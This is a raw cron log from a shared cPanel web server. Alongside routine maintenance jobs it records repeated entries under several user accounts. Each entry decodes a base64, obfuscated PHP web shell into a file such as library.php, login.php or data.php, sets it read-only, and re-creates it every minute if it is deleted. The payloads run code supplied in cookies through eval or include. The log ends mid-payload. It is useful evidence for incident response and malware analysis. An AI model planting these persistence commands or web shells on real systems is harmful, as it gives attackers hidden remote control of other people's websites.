Jun  7 12:15:01 medusa CROND[3805]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Jun  7 12:15:01 medusa CROND[3795]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 12:16:01 medusa CROND[5467]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:16:01 medusa CROND[5506]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 12:16:01 medusa CROND[5513]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 12:16:01 medusa CROND[5514]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:16:01 medusa CROND[5515]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:16:01 medusa CROND[5516]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:16:01 medusa CROND[5517]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:16:01 medusa CROND[5518]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:16:01 medusa CROND[5519]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:16:01 medusa CROND[5521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:16:01 medusa CROND[5523]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:16:01 medusa CROND[5520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:16:01 medusa CROND[5527]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:16:01 medusa CROND[5528]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:17:01 medusa CROND[7272]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:17:01 medusa CROND[7273]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:17:01 medusa CROND[7274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:17:01 medusa CROND[7275]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:17:01 medusa CROND[7276]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 12:17:01 medusa CROND[7277]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:17:01 medusa CROND[7280]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:17:01 medusa CROND[7284]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:17:01 medusa CROND[7283]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:17:01 medusa CROND[7286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:17:01 medusa CROND[7285]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:17:01 medusa CROND[7287]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:17:01 medusa CROND[7292]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 12:18:01 medusa CROND[8815]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:18:01 medusa CROND[8816]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:18:01 medusa CROND[8818]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF